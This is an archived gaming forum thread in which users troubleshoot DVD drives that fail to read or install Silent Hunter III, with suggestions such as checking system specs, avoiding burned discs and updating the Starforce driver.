"WARC-Warcinfo-ID": "<urn:uuid:1fbc34a5-bea6-4621-80c6-d3912dcd103c>"
},
"warc_info": "isPartOf: CC-MAIN-2024-10\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for February/March 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-208\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
15,
129,
248,
249,
260,
273,
284,
305,
306,
343,
344,
592,
879,
1284,
1294,
1295,
1307,
1308,
1321,
1322,
1357,
1358,
1368,
1369,
1387,
1388,
1410,
1411,
1713,
1714,
1937,
1938,
1951,
1952,
1970,
1971,
1972,
2009,
2010,
2026,
2027,
2056,
2057,
2228,
2229,
2269,
2270,
2739,
2740,
2910,
2911,
2934,
2935,
3147,
3148,
3220,
3221,
3295,
3296,
3382,
3383,
3460,
3461,
3501,
3502,
3503,
3523,
3524,
3633,
3634,
3668,
3669,
3683,
3684,
3946,
3947,
3958,
3959,
4059,
4060,
4096,
4097,
4164,
4165,
4231,
4232,
4291,
4292,
4767,
4768,
4931,
4932,
5271,
5272,
5743,
5744,
5786,
5787,
5982,
5983,
6131,
6132,
6413,
6414,
6522,
6523,
6605,
6606,
6713,
6714,
6748,
6749,
7025,
7026,
7233,
7234,
7439,
7440,
7472,
7473,
7682,
7683,
7752,
7753,
7867,
7868,
8109,
8110,
8371,
8372,
8743,
8744,
8785,
8786,
9193,
9194,
9328,
9329,
9462,
9463,
9583,
9584,
9607,
9608,
9667,
9668,
9690,
9691,
10042,
10043,
10169,
10170,
10579,
10580,
10614,
10615,
10637,
10638,
10903,
10904,
11037,
11038,
11309,
11310,
11351,
11352,
11902,
11903,
12337,
12338,
12360,
12361,
12719,
12720,
12764,
12808,
12809,
12949,
12950,
12963,
12964
],
"line_end_idx": [
15,
129,
248,
249,
260,
273,
284,
305,
306,
343,
344,
592,
879,
1284,
1294,
1295,
1307,
1308,
1321,
1322,
1357,
1358,
1368,
1369,
1387,
1388,
1410,
1411,
1713,
1714,
1937,
1938,
1951,
1952,
1970,
1971,
1972,
2009,
2010,
2026,
2027,
2056,
2057,
2228,
2229,
2269,
2270,
2739,
2740,
2910,
2911,
2934,
2935,
3147,
3148,
3220,
3221,
3295,
3296,
3382,
3383,
3460,
3461,
3501,
3502,
3503,
3523,
3524,
3633,
3634,
3668,
3669,
3683,
3684,
3946,
3947,
3958,
3959,
4059,
4060,
4096,
4097,
4164,
4165,
4231,
4232,
4291,
4292,
4767,
4768,
4931,
4932,
5271,
5272,
5743,
5744,
5786,
5787,
5982,
5983,
6131,
6132,
6413,
6414,
6522,
6523,
6605,
6606,
6713,
6714,
6748,
6749,
7025,
7026,
7233,
7234,
7439,
7440,
7472,
7473,
7682,
7683,
7752,
7753,
7867,
7868,
8109,
8110,
8371,
8372,
8743,
8744,
8785,
8786,
9193,
9194,
9328,
9329,
9462,
9463,
9583,
9584,
9607,
9608,
9667,
9668,
9690,
9691,
10042,
10043,
10169,
10170,
10579,
10580,
10614,
10615,
10637,
10638,
10903,
10904,
11037,
11038,
11309,
11310,
11351,
11352,
11902,
11903,
12337,
12338,
12360,
12361,
12719,
12720,
12764,
12808,
12809,
12949,
12950,
12963,
12964,
13188
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 13188,
"ccnet_original_nlines": 181,
"rps_doc_curly_bracket": 0.0012132199481129646,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.35337552428245544,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02566806972026825,
"rps_doc_frac_lines_end_with_ellipsis": 0.021978020668029785,
"rps_doc_frac_no_alph_words": 0.22890295088291168,
"rps_doc_frac_unique_words": 0.2723809480667114,
"rps_doc_mean_word_length": 4.913333415985107,
"rps_doc_num_sentences": 238,
"rps_doc_symbol_to_word_ratio": 0.0014064699644222856,
"rps_doc_unigram_entropy": 5.484254837036133,
"rps_doc_word_count": 2100,
"rps_doc_frac_chars_dupe_10grams": 0.041674740612506866,
"rps_doc_frac_chars_dupe_5grams": 0.1442139893770218,
"rps_doc_frac_chars_dupe_6grams": 0.11436325311660767,
"rps_doc_frac_chars_dupe_7grams": 0.08315564692020416,
"rps_doc_frac_chars_dupe_8grams": 0.05630936101078987,
"rps_doc_frac_chars_dupe_9grams": 0.049912769347429276,
"rps_doc_frac_chars_top_2gram": 0.012599339708685875,
"rps_doc_frac_chars_top_3gram": 0.008141109719872475,
"rps_doc_frac_chars_top_4gram": 0.011630159802734852,
"rps_doc_books_importance": -1184.456787109375,
"rps_doc_books_importance_length_correction": -1184.456787109375,
"rps_doc_openwebtext_importance": -665.8824462890625,
"rps_doc_openwebtext_importance_length_correction": -665.8824462890625,
"rps_doc_wikipedia_importance": -692.3447875976562,
"rps_doc_wikipedia_importance_length_correction": -692.3447875976562
},
"fasttext": {
"dclm": 0.03455781936645508,
"english": 0.8615196347236633,
"fineweb_edu_approx": 1.949380874633789,
"eai_general_math": 0.45222359895706177,
"eai_open_web_math": 0.21413320302963257,
"eai_web_code": 0.5003519654273987
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.445",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.776",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-3,013,504,873,325,619,000 | Is it possible to downgrade your OS?
Discussion in 'Mac OS X 10.3 (Panther) Discussion' started by wowoah, Mar 7, 2005.
1. wowoah macrumors regular
Joined:
Jul 16, 2003
Location:
Berkeley, CA
#1
Since I installed 10.3.8, my PowerBook has been crashing nonstop. I don't know if it's 10.3.8's fault, but I want to see if I can downgrade to 10.3.7 and see if that solves anything.
Does anyone know how to do this? Thanks.
2. Sun Baked macrumors G5
Sun Baked
Joined:
May 19, 2002
#2
Try safe booting your Mac (hold shift key) or creating a new user to see if that eliminates your crashes.
It's quite possible the 10.3.8 update broke one of the old programs or kext files that you're using -- and is causing a lot of crashes.
3. wrldwzrd89 macrumors G5
wrldwzrd89
Joined:
Jun 6, 2003
Location:
Solon, OH
#3
Downgrades are not possible normally. The only way to downgrade is to restore to the base version of the OS you wish to downgrade to (or whatever came with your Mac if you haven't upgraded since you bought it), then update to the desired minor version of that OS. Keep in mind that you can't downgrade to anything older than what your Mac came with.
I'd try Sun Baked's suggestions before mine, though.
4. Applespider macrumors G4
Applespider
Joined:
Jan 20, 2004
Location:
looking through rose-tinted spectacles...
#4
Some people have reported that re-installing 10.3.8 using the Combo updated from Apple's website rather than the incremental upgrade that you likely did through Software update cured stability problems with 10.3.8.
Worth a shot?
5. Soulstorm macrumors 68000
Soulstorm
Joined:
Feb 1, 2005
#5
Yes,it does. That solved a lot of my problems, and kernel panics seem to have stoped. Coincidence?
Share This Page | {
"url": "https://forums.macrumors.com/threads/is-it-possible-to-downgrade-your-os.114217/",
"source_domain": "forums.macrumors.com",
"snapshot_id": "crawl=CC-MAIN-2017-51",
"warc_metadata": {
"Content-Length": "149469",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:ZC27JRN3BBYHTFLYEHEZVQWUNOGAE6TR",
"WARC-Concurrent-To": "<urn:uuid:27c3558a-ea37-49cd-a50e-b8e3cf36725c>",
"WARC-Date": "2017-12-14T00:24:30Z",
"WARC-IP-Address": "162.254.116.250",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:KMT3BNCJ7TKUZA5VI6MP47HUPOEB437M",
"WARC-Record-ID": "<urn:uuid:5316554b-24ae-4cd3-b637-3035b6d46a03>",
"WARC-Target-URI": "https://forums.macrumors.com/threads/is-it-possible-to-downgrade-your-os.114217/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:4ab4726d-43ad-4dd1-9daf-e24c0e84da32>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-31-114-81.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-51\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for December 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
37,
38,
121,
122,
152,
153,
165,
182,
196,
213,
220,
407,
408,
453,
459,
487,
488,
502,
503,
515,
532,
539,
649,
650,
790,
796,
825,
826,
841,
842,
854,
870,
884,
898,
905,
1259,
1260,
1317,
1323,
1353,
1354,
1370,
1371,
1383,
1400,
1414,
1460,
1467,
1686,
1687,
1705,
1711,
1742,
1743,
1757,
1758,
1770,
1786,
1793,
1896,
1902,
1903
],
"line_end_idx": [
37,
38,
121,
122,
152,
153,
165,
182,
196,
213,
220,
407,
408,
453,
459,
487,
488,
502,
503,
515,
532,
539,
649,
650,
790,
796,
825,
826,
841,
842,
854,
870,
884,
898,
905,
1259,
1260,
1317,
1323,
1353,
1354,
1370,
1371,
1383,
1400,
1414,
1460,
1467,
1686,
1687,
1705,
1711,
1742,
1743,
1757,
1758,
1770,
1786,
1793,
1896,
1902,
1903,
1918
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1918,
"ccnet_original_nlines": 62,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3366093337535858,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03685503825545311,
"rps_doc_frac_lines_end_with_ellipsis": 0.015873020514845848,
"rps_doc_frac_no_alph_words": 0.312039315700531,
"rps_doc_frac_unique_words": 0.5925925970077515,
"rps_doc_mean_word_length": 4.515151500701904,
"rps_doc_num_sentences": 37,
"rps_doc_symbol_to_word_ratio": 0.014742010273039341,
"rps_doc_unigram_entropy": 4.926084518432617,
"rps_doc_word_count": 297,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.02460850030183792,
"rps_doc_frac_chars_top_3gram": 0.010439969599246979,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -167.78440856933594,
"rps_doc_books_importance_length_correction": -167.78439331054688,
"rps_doc_openwebtext_importance": -64.8388671875,
"rps_doc_openwebtext_importance_length_correction": -64.8388671875,
"rps_doc_wikipedia_importance": -23.87763023376465,
"rps_doc_wikipedia_importance_length_correction": -23.87763023376465
},
"fasttext": {
"dclm": 0.04980742931365967,
"english": 0.9434224963188171,
"fineweb_edu_approx": 1.1756720542907715,
"eai_general_math": 0.025579629465937614,
"eai_open_web_math": 0.1899564266204834,
"eai_web_code": 0.000169339997228235
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.162",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-592,781,298,112,756,700 | Add How-to Content with Schema Pro Gutenberg Block
Schema Pro offers a dedicated Gutenberg block to add how-to content easily. It comes with inbuilt schema support that helps your content to rank higher in search results.
How-to-step
Build Effective How-to Pages Easily
You might have come across how-to blogs, tutorials, procedures, or recipes where things are explained in a stepwise manner. You can create such how-to pages in Gutenberg with Schema Pro.
How-to pages explain everything about procedures including its detailed description, required material, estimates time, and so on. Shema Pro’s How-to block offers all fields in one place. So that you can create how-to pages quickly and easily.
Readymade Fields to Add How-To Steps
In order to add How-to content, you would need different fields. Gathering all required fields manually can be a time-consuming task. Schema Pro's How-to Gutenberg block offers you a ready-made structure where you can easily add all required steps.
You can add -
• Main Heading with Description and Image
• Total Time Needed
• Estimated Cost and Required Tools
• Material Needed
• Individual Steps
how-to-show-option
how-to-add-step-06
Flexible Boxes to Add Every Step
With the How-to section, you need to add multiple steps to reach the end goal. The How-to block gives you dedicated boxes for each step.
You can customize each step as per your need. Each box offers an option to add Title, Description, Image, Separator, Link. Not just this, you can even style these boxes with colors, typography, and spacing.
Generates How-to Schema Markup Automatically
How-to block scans the content you added and accordingly generates the How-to schema. So that you don't need to worry about generating schema markup manually.
How-to schema helps Google to understand your webpage better make it eligible for rich results. This will ultimately bring you more traffic and eventually a higher search ranking.
google-search-01
how-to-style-option
Style-up Your How-to Content With Advanced Options
Every website has different colors, typography, and style. You can design your How-to section to match your website style.
How-to Schema block offers options to set color, typography, and spacing for every section in the block. You can creatively design this section and make it look good.
Scroll to Top | {
"url": "https://wpschema.com/block/how-to-schema/",
"source_domain": "wpschema.com",
"snapshot_id": "crawl=CC-MAIN-2021-21",
"warc_metadata": {
"Content-Length": "158058",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:3HUXBV3NQPRTUAWTRZQIXB2QKNRIMU37",
"WARC-Concurrent-To": "<urn:uuid:85d647d7-df95-472e-a167-5abdddf7c9dd>",
"WARC-Date": "2021-05-13T13:28:55Z",
"WARC-IP-Address": "172.67.213.15",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:2SW7NYZRGUALMCTG5QE44GW6SDBG3M3V",
"WARC-Record-ID": "<urn:uuid:1cea506e-fe0c-4cd6-aa7b-f4d2906cfcfe>",
"WARC-Target-URI": "https://wpschema.com/block/how-to-schema/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:23a9e036-6671-4896-a30f-1140f04292e1>"
},
"warc_info": "isPartOf: CC-MAIN-2021-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-224.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
51,
52,
223,
224,
236,
237,
273,
274,
461,
462,
706,
707,
744,
745,
995,
996,
1011,
1012,
1057,
1058,
1080,
1081,
1119,
1120,
1140,
1141,
1162,
1163,
1182,
1201,
1202,
1235,
1236,
1373,
1374,
1582,
1583,
1628,
1629,
1789,
1790,
1971,
1972,
1989,
2009,
2010,
2061,
2062,
2185,
2186,
2354,
2355
],
"line_end_idx": [
51,
52,
223,
224,
236,
237,
273,
274,
461,
462,
706,
707,
744,
745,
995,
996,
1011,
1012,
1057,
1058,
1080,
1081,
1119,
1120,
1140,
1141,
1162,
1163,
1182,
1201,
1202,
1235,
1236,
1373,
1374,
1582,
1583,
1628,
1629,
1789,
1790,
1971,
1972,
1989,
2009,
2010,
2061,
2062,
2185,
2186,
2354,
2355,
2368
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2368,
"ccnet_original_nlines": 52,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.31762295961380005,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1844262331724167,
"rps_doc_frac_unique_words": 0.44931507110595703,
"rps_doc_mean_word_length": 5.147945404052734,
"rps_doc_num_sentences": 24,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.682371139526367,
"rps_doc_word_count": 365,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.025545500218868256,
"rps_doc_frac_chars_top_3gram": 0.023948909714818,
"rps_doc_frac_chars_top_4gram": 0.018094729632139206,
"rps_doc_books_importance": -253.61109924316406,
"rps_doc_books_importance_length_correction": -253.61109924316406,
"rps_doc_openwebtext_importance": -139.74143981933594,
"rps_doc_openwebtext_importance_length_correction": -139.74143981933594,
"rps_doc_wikipedia_importance": -81.20784759521484,
"rps_doc_wikipedia_importance_length_correction": -81.20784759521484
},
"fasttext": {
"dclm": 0.01981407031416893,
"english": 0.8536853194236755,
"fineweb_edu_approx": 1.0820378065109253,
"eai_general_math": 0.0220721997320652,
"eai_open_web_math": 0.1079968810081482,
"eai_web_code": 0.07531142234802246
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "658.87",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
5,633,274,801,841,726,000 | Tuesday, 26 July 2011
Vesica Piscis
Intrigued by George's raving about the Vesica Piscis that I wasn't sure how to spell, I did a search and ended up back on Charles Gilchrist's sacred geometry videos again.
That's where I learned about the 2 dimensional to three dimensional transfiguration potential of Metatron's cube, which blew me away as it leads to all those platonic solids and more. To quote Joe Biden 'it's a big fucking deal'.
However the essence of all this action is at the Vesica Pisces explained as ever with gusto by Charles in his excellent videos. I guess the original 2D universe was a perfect circle at the beginning and the end, which ties in with the perfect uniformity that astrophysicists can't quite explain at big bang but without which they can't explain anything further. The design in this universe is extraordinary and it unravels profoundly no matter how deep or how wide the lens goes. Which is why it's worth refusing to ignore those crop circles I've written extensively about and which I've just discovered quite a few of you "Facebook liked". Thank you. That's very flattering. | {
"url": "http://charlesfrith.blogspot.com/2011/07/vesica-piscis.html",
"source_domain": "charlesfrith.blogspot.com",
"snapshot_id": "crawl=CC-MAIN-2019-35",
"warc_metadata": {
"Content-Length": "115931",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:BITP7CTYO6NN4VFGQJR7ARWHUPAZNAEN",
"WARC-Concurrent-To": "<urn:uuid:afb9d950-8b9e-41de-956b-b3d4d3d8af23>",
"WARC-Date": "2019-08-25T16:05:46Z",
"WARC-IP-Address": "172.217.9.193",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:W7VII36CE6F5HMGSMSIX2G7V2BFJ6UCP",
"WARC-Record-ID": "<urn:uuid:e4750669-b65f-40e9-9b45-054c47ce4224>",
"WARC-Target-URI": "http://charlesfrith.blogspot.com/2011/07/vesica-piscis.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:c4d57a37-4a4c-4d52-86f0-bd3276e341d8>"
},
"warc_info": "isPartOf: CC-MAIN-2019-35\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-36.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
22,
23,
37,
38,
39,
212,
213,
443,
444
],
"line_end_idx": [
22,
23,
37,
38,
39,
212,
213,
443,
444,
1119
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1119,
"ccnet_original_nlines": 9,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 1,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.45414847135543823,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03056769073009491,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.13100436329841614,
"rps_doc_frac_unique_words": 0.6684210300445557,
"rps_doc_mean_word_length": 4.710526466369629,
"rps_doc_num_sentences": 9,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.6584601402282715,
"rps_doc_word_count": 190,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.026815639808773994,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -95.3269271850586,
"rps_doc_books_importance_length_correction": -95.3269271850586,
"rps_doc_openwebtext_importance": -43.766719818115234,
"rps_doc_openwebtext_importance_length_correction": -36.983741760253906,
"rps_doc_wikipedia_importance": -32.692543029785156,
"rps_doc_wikipedia_importance_length_correction": -32.692543029785156
},
"fasttext": {
"dclm": 0.21248167753219604,
"english": 0.9757097363471985,
"fineweb_edu_approx": 0.8761351704597473,
"eai_general_math": 0.42402249574661255,
"eai_open_web_math": 0.1509360671043396,
"eai_web_code": 0.005473429802805185
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "516.0",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Geometry, Algebraic"
}
},
"secondary": {
"code": "523.1",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Astronomy",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "9",
"label": "Personal/Misc"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
183,346,204,103,208,740 |
PDA
View Full Version : Install probs.
Yahoshua
09-25-2006, 08:44 PM
Just installed a new DVD-ROM hardware device today and I can't seem to get SHIII to run on it.
I can put it in, see the disc icon next to the mouse and then nothing.
I tried to run it manually (via the run hardware option) but nothing happened (it reads no disc in the drive).
Checked for any drivers I need to install and doesn't seem like i need any.
Ran other game discs that I have installed already on the computer just fine.
So what gives?
Deep-Six
09-25-2006, 08:50 PM
First off, post your syst specs.
I will try to help you. no guarantees though.:)
Yahoshua
09-25-2006, 09:29 PM
AMD Athlon XP 2500+
1.83 Ghz
1.25 GB Ram
Atapi DVD-ROM 16x DVD 50x CD-ROM (has brand name Acer printed on the front)
Deep-Six
09-26-2006, 01:53 AM
What brand is your DVD drv?
Finnbat
09-26-2006, 02:30 AM
Burned CDs often dont work.
Gizzmoe
09-26-2006, 02:53 AM
Burned CDs often dont work.
Try the Starforce driver update, it fixes some problems:
http://www.star-force.com/support/sfdrvup.zip
Yahoshua
09-26-2006, 09:39 AM
Here's a bit more info on it:
http://www.computerhq.com/BenQ_ACER_DVD-ROM_1648A_16X_INTERNAL/1650P_1650S/hardware/partinfo-id-2639.html
Drebbel
09-26-2006, 11:47 AM
Just installed a new DVD-ROM hardware device today and I can't seem to get SHIII to run on it.
It does work with various other DVD's ?
Yahoshua
09-26-2006, 02:06 PM
Haven't tried it yet, but I will this afternoon.
Yahoshua
09-26-2006, 06:52 PM
Situation is now worse.....The hardware will not eject my disc and SHIII is still inside it!!
Should I take it to a comp. store and have the warranty cover it?
Deep-Six
09-26-2006, 06:54 PM
If that does not work, PUNT!!!:D
Yahoshua
09-26-2006, 07:19 PM
Note to self- do NOT penny-pinch on electronics.
Yahoshua
09-27-2006, 09:21 AM
Well, I happened to figure out how to get the disc out of the hardware without destroying it....and it's getting the boot.
Time to go to a REAL comp store and get something reliable.
Laffertytig
10-07-2006, 08:30 AM
ive had to do a pretty messy xp reinstall. ive managed to get most frivers up to dat but ive got a major prob with my "LITE-ON 165p6M50M" DVDRW. it wont install games inc SH3. i keep gettin "cannot read cab file" errors.
normally when i install SH3 it does the starforce protection thingy but it doesnt do that anymore. in device manager under cdrom tab it says current 1 which is USA and im in region 2 which is UK. would this affect it? it doesnt allow me to change it though.
ive been on cd-rom drivers.com and looked under lite-on company drivers but mine doesnt seem tho be there. there is one listed as "all driver" but it seems to be a program and not a driver.
help
Laffertytig
10-07-2006, 06:07 PM
anyone got any ideas?
CybaGirl
10-07-2006, 07:03 PM
Ok first of all.
Did you install the drive?
